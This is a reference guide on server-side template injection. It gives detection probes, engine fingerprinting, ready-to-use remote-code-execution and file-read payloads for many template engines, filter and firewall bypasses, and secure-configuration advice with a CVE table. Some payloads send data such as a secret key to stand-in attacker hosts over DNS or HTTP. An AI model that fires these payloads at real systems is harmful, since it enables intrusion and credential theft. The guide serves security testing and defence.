Comprehensive SSTI Guide#
π Enhanced May 2, 2026 - Updated with 88 sources and template injection CVEs including engine-specific exploits, AI/ML platform vulnerabilities, and RCE payload development techniques.
A practitioner’s reference for Server-Side Template Injection β template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices. Compiled from 88 research sources including latest AI/ML platform vulnerabilities.
Table of Contents#
- Fundamentals
- Detection & Identification
- Template Engine Exploitation
- Framework-Specific Attacks
- Payload Development
- Advanced Exploitation
- Bypass Techniques
- Testing Methodology
- Secure Implementation
- Detection & Prevention
- CVE Reference
1. Fundamentals#
SSTI Attack Surface#
| Template Context | Risk Level | Common Locations |
|---|
| User Input Rendering | Critical | Email templates, reports, dynamic pages |
| Configuration Files | High | Template-based configs, dynamic routing |
| Error Messages | Medium | Custom error pages, debug output |
| Log Messages | Low | Log formatting, audit trails |
| Email Workflow Templates | Critical | Notification templates, marketing emails (Shopify Return Magic, Fides) |
| Recipe/CMS Content Fields | Critical | User-editable content rendered by template engines (Tandoor Recipes, Alfresco) |
| JMS/Message Headers | High | Apache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate) |
Template Engine Landscape#
| Engine | Language | Popularity | Exploitation Difficulty |
|---|
| Jinja2 | Python | Very High | Medium |
| Twig | PHP | High | Medium |
| FreeMarker | Java | High | High |
| Velocity | Java | Medium | High |
| Thymeleaf | Java | Medium | Medium |
| Smarty | PHP | Medium | Low |
| Mako | Python | Low | Low |
| Handlebars | Node.js | Very High | Medium |
| Pug (Jade) | Node.js | High | Medium |
| Go html/template | Go | Medium | High (context-dependent) |
| Go text/template | Go | Medium | Medium |
| Jelly | Java | Medium (ServiceNow) | Medium |
| MVEL | Java | Low | Low |
| Mustache | Multi-language | Medium | High (logicless by design) |
| Tornado | Python | Medium | Medium |
2. Detection & Identification#
Detection Methodology#
SSTI DETECTION FLOW:
1. Identify template injection points
2. Test mathematical expressions
3. Analyze error messages
4. Determine template engine
5. Craft engine-specific payloads
6. Test blind detection via time-based or OOB channels
Basic Detection Payloads#
| Test Case | Payload | Expected Result |
|---|
| Mathematical | ${7*7} | 49 if vulnerable |
| Mathematical | {β{7*7}} | 49 if vulnerable |
| Mathematical | <%=7*7%> | 49 if vulnerable |
| String Concatenation | ${'a'+'b'} | ab if vulnerable |
| Function Call | ${T(java.lang.System).getProperty('user.name')} | Username if Spring EL |
| Go Detection | {β{ . }} | Memory address of passed object if Go template |
| Handlebars Detection | {β{this}} | [object Object] if Handlebars |
| FreeMarker String | ${"Hello " + "World"} | Hello World if FreeMarker |
| FreeMarker Array | ${["one", "two", "three"][1]} | two if FreeMarker |
| FreeMarker Length | ${"test"?length} | 4 if FreeMarker |
| FreeMarker Date | ${.now?string("yyyy-MM-dd")} | Current date if FreeMarker |
| Jelly (ServiceNow) | <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> | 1337 in error message |
| Thymeleaf Inline | [[${7*7}]] | 49 if Thymeleaf expression inlining |
Template Engine Fingerprinting#
IDENTIFICATION DECISION TREE:
βββ {β{7*7}} = 49
β βββ {β{this}} = [object Object] β Handlebars (Node.js)
β βββ Jinja2 (Python)
β βββ Twig (PHP)
β βββ Nunjucks (Node.js)
βββ ${7*7} = 49
β βββ ${"test"?length} = 4 β FreeMarker (Java)
β βββ ${T(java.lang.Runtime)} works β Spring EL (Java)
β βββ Velocity (Java)
βββ <%=7*7%> = 49
β βββ ERB (Ruby)
β βββ ASP Classic
βββ {7*7} = 49
β βββ Smarty (PHP)
βββ {β{ . }} = memory address
β βββ Go html/template or text/template
βββ [[${7*7}]] = 49
β βββ Thymeleaf (Java) expression inlining
βββ <g:evaluate>...</g:evaluate> executes
βββ Jelly (ServiceNow)
Blind SSTI Detection#
| Method | Payload Example | Verification |
|---|
| Time-based (Jinja2) | {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}} | Response delay |
| Time-based (FreeMarker) | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")} | Response delay |
| DNS Exfiltration | {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}} | DNS logs |
| HTTP Callback | Jinja2 urllib.request.urlopen to attacker URL | HTTP logs |
3. Template Engine Exploitation#
Jinja2 (Python) Exploitation#
| Attack Vector | Payload | Impact |
|---|
| Basic RCE | {β{config.__class__.__init__.__globals__['os'].popen('id').read()}} | Command execution |
| Subprocess | {β{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} | Command execution |
| File Read | {β{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} | File access |
| Config Access | {β{config.SECRET_KEY}} | Sensitive data exposure |
| Lipsum Shorthand | {β{lipsum.__globals__}} | Bypass length limits |
| Cycler RCE | {β{cycler.__init__.__globals__.os.popen('id').read()}} | Shorter RCE payload |
| Hex-encoded attr() | {β{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} | Filter bypass RCE (CVE-2025-23211) |
| Warning class import | {β% for s in ().__class__.__base__.__subclasses__() %}{β% if "warning" in s.__name__ %}{β{s()._module.__builtins__['__import__']('os').popen("env").read()}}{β% endif %}{β% endfor %} | RCE via warning subclass (Fides advisory) |
Twig (PHP) Exploitation#
TWIG ATTACK PATTERNS:
βββ Filter Abuse
β βββ {β{_self.env.registerUndefinedFilterCallback("exec")}}
β βββ {β{_self.env.getFilter("id")}}
β βββ {β{["id"]|filter("system")}}
βββ Function Injection
β βββ {β{_self.env.registerUndefinedFunction("exec")}}
β βββ {β{_self.env.getFunction("system")}}
βββ Object Injection
β βββ {β{app.request.query.get('cmd')|passthru}}
β βββ {β{dump(app)}} (information disclosure)
βββ Escape Handler Abuse (Grav CMS β GHSA-2m7x-c7px-hp58)
βββ {β{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }}
βββ {β{ ['id'] | escape('system', 'system') }}
(Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled)
FreeMarker (Java) Exploitation#
| Technique | Payload | Description |
|---|
| Object Creation | <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} | Command execution |
| Static Method Call | ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} | Process creation |
| File System Access | <#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> | File manipulation |
| ?lower_abc Filter Bypass | ${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)} | Reconstruct “freemarker.template.utility.Execute” char-by-char to bypass keyword blocklists |
| CamelContext Sandbox Escape | <#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")} | RCE even with ClassResolver sandbox enabled (Apache Camel) |
| CamelContext Language | $camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class) | Groovy expression via Camel context |
| Alfresco Sandbox Bypass | Exploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873) | RCE in Alfresco CMS |
Handlebars (Node.js) Exploitation#
| Technique | Payload | Description |
|---|
| Prototype Pollution + AST Injection | Pollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral value | Bypass parser validation, inject code directly into compiler |
| Constructor Chain | `{β{#with “s” as | string |
| toString Override + bind() | Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructor | Full RCE without scope-defined functions (Shopify Return Magic) |
| pendingContent Detection | Pollute Object.prototype.pendingContent with test string | Detect Handlebars engine in black-box with prototype pollution |
Pug (Node.js) Exploitation#
| Technique | Payload | Description |
|---|
| AST Injection via block | Pollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"} | XSS/content injection via prototype pollution |
| Code Injection via line | Pollute Object.prototype.block.type = "Code" with body containing RCE payload | Command execution via AST manipulation |
Thymeleaf (Java) Exploitation#
THYMELEAF ATTACK PATTERNS:
βββ Expression Preprocessing Double-Eval
β βββ __${path}__ preprocesses user input, result evaluated as expression
β βββ URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')})
β βββ Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {})
βββ Spring Boot 3.3.4 Denylist Bypass (modzero research)
β βββ Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils
β βββ Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist)
β βββ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")
β β .invokeMethod(
β β "".class.forName("org.apache.commons.lang3.reflect.MethodUtils")
β β .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"),
β β "exec", "whoami")
β βββ Full payload reads command output via IOUtils + file write for non-blind RCE
βββ CVE-2023-38286 (Spring Boot Admin)
β βββ Bypass Thymeleaf blacklists via ReflectionUtils (older versions)
β βββ th:with chaining: findMethod β invokeMethod β exec
β βββ Requires MailNotifier enabled + write access to env vars
βββ CVE-2022-46166 (Spring Boot Admin)
βββ RCE via variable coverage in notification templates
Velocity (Java) Exploitation#
| Technique | Payload | Description |
|---|
| CamelContext RCE | ${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")} | RCE via JavaScript engine in Apache Camel |
| Template Override | Send CamelVelocityTemplate header to override default template | Dynamic template injection via message headers |
| Resource URI Override | Send CamelVelocityResourceUri header pointing to file:///etc/passwd | Arbitrary file disclosure |
MVEL (Java) Exploitation#
| Technique | Payload | Description |
|---|
| Direct RCE | @{java.lang.Runtime.getRuntime().exec('id')} | Direct runtime access |
| ObjectFactory RCE | @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")} | Via ScriptEngine |
| Template Override | Send CamelMvelTemplate header | Apache Camel dynamic template |
Go Template Exploitation#
GO SSTI ATTACK PATTERNS:
βββ Detection
β βββ {β{ . }} β prints memory address/object dump of passed struct
βββ Data Leakage
β βββ {β{ .Email }} / {β{ .Password }} β access struct fields
β βββ Leaks any exported field on the passed object
βββ Method Invocation
β βββ {β{ .MethodName "arg" }} β call exported methods on passed struct
β βββ Methods must be exported (capitalized) to be callable
βββ Gin Framework Gadgets
β βββ {β{ .Writer.WriteString "<script>alert(1)</script>" }} β XSS via response writer
βββ Echo Framework Gadgets
β βββ {β{ .File "/etc/passwd" }} β arbitrary file read
β βββ {β{ .Attachment "/etc/passwd" "passwd" }} β file read via attachment
β βββ {β{ .Inline "/etc/passwd" "passwd" }} β file read inline
β βββ {β{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {β{ $x.Seek 1 0 }} {β{ .Stream 200 "text/plain" $x }} β file read with I/O control
βββ Fiber Framework Gadgets
β βββ {β{ .App.Shutdown }} β denial of service
β βββ {β{ .Response.SendFile "/etc/hostname" }} {β{ .Response.Body }} β file read via fasthttp.Response
βββ Method Confusion (OnSecurity Research)
β βββ If passed object type matches a method's receiver, call with custom params
β βββ echo.Context.File("path") gadget for arbitrary file read
β βββ Gadget hunting: search imported modules for exported methods with dangerous behavior
βββ text/template vs html/template
βββ text/template allows direct "call" for public functions β higher risk
βββ html/template restricts call β requires gadget chains
Jelly (ServiceNow) Exploitation#
| Technique | Payload | Description |
|---|
| Template Injection Probe | <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> | Confirm injection via math result (1337) in error message |
| DB Credential Theft | Inject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader() | Extract database connection strings |
| Chained Exploitation | CVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass) | Full RCE chain on ServiceNow |
| Style Tag Bypass | Embed Jelly tags inside <style> element in jvar_page_title parameter | Bypass basic input validation |
4. Framework-Specific Attacks#
Spring Framework (Java)#
| Context | Payload | Impact |
|---|
| Spring EL | ${T(java.lang.Runtime).getRuntime().exec('id')} | RCE |
| SpEL Injection | #{T(java.lang.System).getProperty('user.name')} | Information disclosure |
| Request Context | ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} | Environment access |
| Thymeleaf Double-Eval | '+${7*7}+' in Referer header with __${Referer}__ preprocessing | RCE via preprocessing (modzero) |
| MethodUtils Bypass | "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...) | Bypass Thymeleaf denylist in Spring Boot 3.3.4+ |
| WebAsyncManager Header Exfil | Access #ctx.getVariable("...WebAsyncManager...") to read request headers and write response | Non-blind RCE without outbound connections |
Django (Python)#
DJANGO TEMPLATE ATTACKS:
βββ Debug Information
β βββ {β{settings.SECRET_KEY}}
β βββ {β{settings.DATABASES}}
β βββ {β{settings.DEBUG}}
βββ Object Traversal
β βββ {β{request.META}}
β βββ {β{request.user}}
β βββ {β{request.session}}
βββ Filter Abuse
βββ Custom filters with dangerous functions
βββ Template tag injection
Laravel (PHP)#
| Attack Type | Payload | Result |
|---|
| Blade RCE | @php(system('id')) @endphp | Command execution |
| Variable Access | {β{$app->make('config')->get('database.default')}} | Configuration disclosure |
| Helper Function | {β{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} | Application introspection |
Apache Camel (Java)#
APACHE CAMEL SSTI (CVE-2020-11994):
βββ Affected Components
β βββ camel-freemarker (CamelFreemarkerTemplate header)
β βββ camel-velocity (CamelVelocityTemplate header)
β βββ camel-mvel (CamelMvelTemplate header)
β βββ camel-mustache (MustacheResourceUri header β file disclosure only)
βββ Attack Pattern
β βββ Override default template via message header injection
β βββ Header source depends on consumer: JMS properties, HTTP headers, etc.
β βββ ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd)
βββ Sandbox Bypass
β βββ camelContext object exposed in template context
β βββ getInjector() + getClassResolver() β instantiate arbitrary classes
β βββ resolveLanguage("groovy") β evaluate arbitrary Groovy expressions
βββ Impact
βββ RCE + Arbitrary File Disclosure across all template components
Grav CMS (PHP/Twig)#
| Attack Type | Payload | Result |
|---|
| setEscaper Abuse | {β{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} then {β{ ['id'] | escape('system', 'system') }} | RCE by redefining escape filter to system() |
| Root Cause | Twig sandbox not enabled; unrestricted access to extension classes via template context | Arbitrary callable registration |
5. Payload Development#
Payload Construction Strategy#
PAYLOAD DEVELOPMENT PROCESS:
βββ Environment Discovery
β βββ Available classes/modules
β βββ Security restrictions
β βββ Execution context
βββ Bypass Development
β βββ Filter evasion
β βββ Character restrictions
β βββ Length limitations
βββ Payload Optimization
β βββ Minimize detection
β βββ Maximize impact
β βββ Ensure reliability
βββ Multi-Stage Delivery
βββ Store payload in persistent objects (Jinja2 config object)
βββ Retrieve and execute across separate requests
βββ Useful when injection point has size limits (email fields)
Common Payload Patterns#
| Goal | Python/Jinja2 | PHP/Twig | Java/FreeMarker | Node.js/Handlebars | Go |
|---|
| List Classes | {β{''.__class__.__mro__[1].__subclasses__()}} | {β{dump()}} | <#list .data_model?keys as key>${key}</#list> | {β{this}} | {β{ . }} |
| Execute Command | {β{cycler.__init__.__globals__.os.popen('id').read()}} | {β{_self.env.registerUndefinedFilterCallback("system")}} | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} | Prototype pollution + AST injection | N/A (gadget-dependent) |
| Read File | {β{get_flashed_messages.__globals__['current_app'].open_resource('../../../etc/passwd').read()}} | {β{include('/etc/passwd')}} | <#assign file=...ObjectConstructor("java.io.File","/etc/passwd")> | N/A | {β{ .File "/etc/passwd" }} (Echo) |
Size-Limited Payload Technique (Jinja2)#
MULTI-REQUEST PAYLOAD STAGING:
1. Store payload in config object via short injection:
{β{config.update(a=request.args.get('a'))}}
with URL parameter: ?a=<long RCE payload>
2. Verify storage:
{β{config.a}}
3. Execute stored payload:
{β{''.__class__.__mro__[1].__subclasses__()...__globals__['os'].popen(config.a).read()}}
Use case: SSTI in email fields with RFC-imposed size limits
6. Advanced Exploitation#
Blind SSTI Exploitation#
| Detection Method | Payload | Verification |
|---|
| Time-based | {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['time'].sleep(5)}} | Response delay |
| DNS Exfiltration | {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup whoami.attacker.com').read()}} | DNS logs |
| HTTP Callback | {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['urllib'].request.urlopen('http://attacker.com/'+config.SECRET_KEY)}} | HTTP logs |
Sandbox Escape Techniques#
SANDBOX BYPASS METHODS:
βββ Python/Jinja2
β βββ __builtins__ access via globals
β βββ Class traversal to dangerous modules
β βββ Import statement reconstruction
β βββ Warning subclass β __builtins__['__import__'] chain
βββ Java/FreeMarker
β βββ ObjectConstructor for arbitrary class instantiation
β βββ Static method calls via ?new()
β βββ Reflection API abuse
β βββ CamelContext.getInjector() + getClassResolver() (Apache Camel)
β βββ ScriptEngineManager for Groovy/JavaScript eval
βββ Java/Thymeleaf
β βββ Expression preprocessing (__...__) double-evaluation
β βββ org.apache.commons.lang3.reflect.MethodUtils (bypass Spring Boot 3.3.4 denylist)
β βββ "".class.forName() to load arbitrary classes
β βββ ReflectionUtils (older versions, now denylisted)
βββ PHP/Twig
β βββ Filter/function registration
β βββ Object property access
β βββ Include/eval function calls
β βββ setEscaper() to redefine escape function as system() (Grav CMS)
βββ Node.js/Handlebars
βββ AST Injection via prototype pollution (bypass parser entirely)
βββ Function constructor via this.constructor.constructor
βββ Object.prototype.toString override + bind() for RCE
βββ Built-in helper abuse (with, blockHelperMissing)
Prototype Pollution to SSTI (Node.js)#
PROTOTYPE POLLUTION β SSTI CHAIN:
βββ Handlebars
β βββ Pollute Object.prototype.type = "Program"
β βββ Pollute Object.prototype.body with AST containing RCE in NumberLiteral.value
β βββ Template string bypasses parser (treated as pre-parsed AST)
β βββ Compiler executes injected code directly
βββ Pug
β βββ Pollute Object.prototype.block with {type:"Text", val:"<payload>"}
β βββ When ast.type is "While", walkAST follows ast.block (uses prototype)
β βββ High reliability: any template referencing arguments triggers it
βββ Detection
βββ Handlebars: Object.prototype.pendingContent = "<test>" β appears in output
βββ Pug: Object.prototype.block = {type:"Text", val:"<test>"} β appears in output
7. Bypass Techniques#
Filter Evasion#
| Restriction | Bypass Technique | Example |
|---|
| Keyword Blacklist | String concatenation | {β{'sy'+'stem'}} |
| Character Filtering | Unicode/Encoding | {β{'\u0073\u0079\u0073\u0074\u0065\u006d'}} |
| Length Limits | Shortened payloads | {β{lipsum.__globals__}} |
| Quotes Blocked | String methods | {β{request.args.cmd|system}} |
| Keyword Blacklist (FreeMarker) | ?lower_abc encoding | 6?lower_abc = “f”, reconstruct class names char-by-char |
| Attribute Name Filtering | Hex-encoded attr() | |attr('\x5f\x5fclass\x5f\x5f') instead of .__class__ |
| Size Limit | Config object staging | Store payload in config.a via one request, execute in another |
| Thymeleaf Static Class Block | commons-lang3 MethodUtils | Use "".class.forName(...) to load non-denylisted reflection class |
| ServiceNow Mitigation | Style tag wrapper + Jelly xmlns | Embed <g:evaluate> inside <style> tags |
WAF Bypass Strategies#
WAF EVASION TECHNIQUES:
βββ Encoding Variations
β βββ URL encoding (%7B%7B)
β βββ Unicode encoding (\u007B\u007B)
β βββ HTML entity encoding ({{)
βββ Structure Manipulation
β βββ Whitespace insertion {β{ 7*7 }}
β βββ Comment insertion {# comment #}
β βββ Nested expressions {β{7*{β{7}}}}
βββ Payload Fragmentation
β βββ Multi-step injection
β βββ Context-dependent payloads
β βββ Request splitting
βββ FreeMarker-Specific
β βββ ?lower_abc / ?upper_abc character reconstruction
β βββ 1.1?c[1] to generate dot character
β βββ Numeric built-in abuse to construct arbitrary strings
βββ Thymeleaf-Specific
βββ Preprocessor double-evaluation via __${...}__
βββ @{} link expression parentheses to clear context
βββ Server-specific: Jetty allows {} in URL path, Tomcat blocks
8. Testing Methodology#
Manual Testing Workflow#
| Phase | Activities | Tools/Techniques |
|---|
| Discovery | Input point identification | Burp Suite, manual analysis |
| Detection | Template injection testing | Mathematical expressions, error analysis |
| Identification | Template engine fingerprinting | Specific syntax testing, decision tree |
| Exploitation | Payload development | Engine documentation, trial and error |
| Impact Assessment | Privilege escalation, data access | Full exploitation chains |
| Blind Validation | Time-based and OOB testing | sleep commands, DNS/HTTP callbacks |
SSTI TESTING ARSENAL:
βββ Detection Tools
β βββ tplmap (comprehensive scanner β epinna)
β βββ SSTImap (exploitation framework β vladko312)
β βββ Burp extensions (various)
β βββ Nuclei templates (e.g., CVE-2024-5217.yaml)
βββ Payload Generators
β βββ PayloadsAllTheThings (payload collection)
β βββ SecLists (template payloads)
β βββ Custom scripts
βββ Framework-Specific
β βββ j2eeTester (Java templates)
β βββ TwigSecurityChecker (Twig)
β βββ JinjaSecurityScanner (Jinja2)
βββ Reconnaissance
β βββ Shodan/Censys/FOFA (identify exposed instances, e.g., ServiceNow)
β βββ Nuclei for automated version/vulnerability probing
βββ CI/CD Integration
βββ SAST rules: flag {β{{ in .hbs files (Handlebars triple braces)
βββ Secrets scanners: detect credentials in templates
βββ Build guardrails: break on unsafe patterns
9. Secure Implementation#
Secure Template Design Principles#
| Principle | Implementation | Security Benefit |
|---|
| Input Validation | Strict allowlist validation | Prevents injection |
| Context Isolation | Separate template contexts | Limits impact |
| Minimal Privileges | Restricted template capabilities | Reduces attack surface |
| Output Encoding | Automatic encoding | Prevents XSS |
| Sandbox Enforcement | Enable template engine sandbox mode | Limits exploitation scope |
| Least Privilege Containers | Run containers as non-root | Limits post-exploitation impact (CVE-2025-23211) |
Framework-Specific Security#
SECURE CONFIGURATION:
βββ Jinja2/Django
β βββ autoescape=True (XSS prevention)
β βββ Restrict dangerous globals
β βββ Custom filter validation
β βββ Use SandboxedEnvironment for user-controlled templates
βββ Twig/Symfony
β βββ Strict mode enabled
β βββ Sandbox mode for user content (prevents setEscaper abuse)
β βββ Function/filter allowlisting
β βββ Block access to internal extension objects
βββ FreeMarker/Spring
β βββ Restricted method calls
β βββ Template loading restrictions
β βββ API access controls
β βββ Use TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
βββ Thymeleaf/Spring Boot
β βββ Avoid expression preprocessing (__...__) with user input
β βββ Denylist covers java.*, javax.*, org.springframework.util.*
β βββ Audit third-party libs (commons-lang3 MethodUtils still exploitable)
β βββ Prefer Tomcat over Jetty (Tomcat blocks {} in URL paths)
βββ Handlebars/Node.js
β βββ Always use double braces {β{ }} (auto-escaping), never triple {β{{ }}}
β βββ Audit custom helpers β never use SafeString with user input
β βββ Protect against prototype pollution (freeze Object.prototype, use Maps)
β βββ Keep dependencies updated (prototype pollution CVEs)
βββ Go Templates
β βββ Prefer html/template over text/template (restricts "call")
β βββ Never pass entire framework context (gin.Context, echo.Context) to templates
β βββ Create minimal view structs with only needed fields
β βββ Avoid exported methods with dangerous behavior on passed types
βββ ServiceNow/Jelly
β βββ Apply vendor patches promptly (CVE-2024-4879 exploited in wild)
β βββ Sanitize jvar_page_title and similar parameters
β βββ Monitor for Jelly tag injection patterns in logs
βββ General Practices
βββ Pre-compile templates (never build from user strings)
βββ Validate all inputs
βββ Monitor template rendering
βββ Run applications as non-root in containers
10. Detection & Prevention#
Runtime Protection#
| Control | Implementation | Effectiveness |
|---|
| Input Sanitization | Remove template syntax | High (if comprehensive) |
| Template Sandboxing | Restricted execution environment | Medium (bypass possible) |
| Content Security Policy | Restrict dynamic content | Low (server-side attack) |
| Web Application Firewall | Pattern-based blocking | Medium (bypass common) |
| Prototype Pollution Prevention | Object.freeze, Map usage, input validation | High (prevents AST injection in Node.js) |
Monitoring & Detection#
DETECTION STRATEGIES:
βββ Log Analysis
β βββ Template rendering errors
β βββ Unusual template patterns ({β{, ${, <#, <g:evaluate>)
β βββ Performance anomalies
β βββ ServiceNow: monitor login.do for Jelly tag injection
βββ Runtime Monitoring
β βββ Template execution time (detect sleep-based blind SSTI)
β βββ Memory consumption
β βββ System call monitoring (exec, popen, ProcessBuilder)
β βββ DNS/HTTP outbound connections from template rendering
βββ Security Scanning
β βββ Regular SAST scans (CodeQL, Semgrep)
β βββ DAST testing (tplmap, SSTImap, Nuclei)
β βββ Dependency vulnerability checks (prototype pollution in Node.js)
β βββ Internet exposure scanning (Shodan, Censys, FOFA)
βββ Supply Chain
βββ Monitor npm advisories for Handlebars, Pug, flat
βββ Track Java dependency updates (FreeMarker, Thymeleaf, commons-lang3)
βββ Automated SCA in CI/CD pipelines
Incident Response#
| Phase | Actions | Considerations |
|---|
| Detection | Log analysis, alert investigation | False positive filtering |
| Containment | Template access restriction | Service availability |
| Eradication | Vulnerable template removal | Code deployment |
| Recovery | Secure template implementation | Testing requirements |
| Lessons Learned | Process improvement | Training needs |
11. CVE Reference#
| CVE | Product | Engine | CVSS | Impact |
|---|
| CVE-2024-4879 | ServiceNow | Jelly | 9.3 | Unauthenticated RCE via title injection |
| CVE-2024-5217 | ServiceNow | Jelly | 9.2 | Template injection mitigation bypass |
| CVE-2024-5178 | ServiceNow | Jelly | 6.9 | Filesystem filter bypass, sensitive file read |
| CVE-2026-5760 | SGLang | Template Engine | 9.8 | RCE via malicious GGUF model files |
| CVE-2025-61620 | AI Model Platform | Jinja2 | 8.5 | Template injection in model configuration |
| CVE-2025-23211 | Tandoor Recipes | Jinja2 | 9.9 | Authenticated SSTI to root RCE in Docker |
| CVE-2023-38286 | Spring Boot Admin | Thymeleaf | – | RCE via Thymeleaf blacklist bypass |
| CVE-2022-46166 | Spring Boot Admin | Thymeleaf | – | RCE via variable coverage in notifiers |
| CVE-2023-49964 | Alfresco | FreeMarker | – | SSTI sandbox bypass (incomplete fix of CVE-2020-12873) |
| CVE-2020-12873 | Alfresco | FreeMarker | – | Original SSTI via exposed FreeMarker objects |
| CVE-2020-11994 | Apache Camel | FreeMarker/Velocity/MVEL/Mustache | – | RCE + file disclosure via template header override |
| CVE-2024-29178 | Apache StreamPark | FreeMarker | – | FreeMarker SSTI to RCE |
| CVE-2019-20920 | Handlebars (npm) | Handlebars | – | Prototype pollution leading to RCE |
| GHSA-2m7x-c7px-hp58 | Grav CMS | Twig | – | RCE via setEscaper() without sandbox |
| GHSA-c34r-238x-f7qx | Fides | Jinja2 | – | RCE via unsandboxed email template rendering |
Key Takeaways#
- Input Validation: Never trust user input in template contexts
- Template Isolation: Separate user-controlled and system templates
- Minimal Privileges: Restrict template engine capabilities
- Regular Testing: Include SSTI in security testing processes
- Framework Updates: Keep template engines updated with security patches
- Sandbox Enforcement: Always enable sandbox mode when user content is rendered by template engines
- Prototype Pollution Awareness: In Node.js, prototype pollution can chain to full SSTI/RCE even in “logicless” engines like Handlebars
- Context Minimization: Pass only minimal data structures to templates β never entire framework contexts (Go, Spring)
- Container Hardening: Run applications as non-root to limit post-exploitation impact
- Supply Chain Monitoring: Track template engine dependency vulnerabilities in CI/CD
This guide compiles practical SSTI knowledge from 40 research sources. Template injection vulnerabilities remain common due to the complexity of modern template engines and their powerful features. The attack surface extends beyond traditional web frameworks to message-driven architectures (Apache Camel), CMS platforms (Alfresco, Grav), enterprise IT management (ServiceNow), and Node.js prototype pollution chains.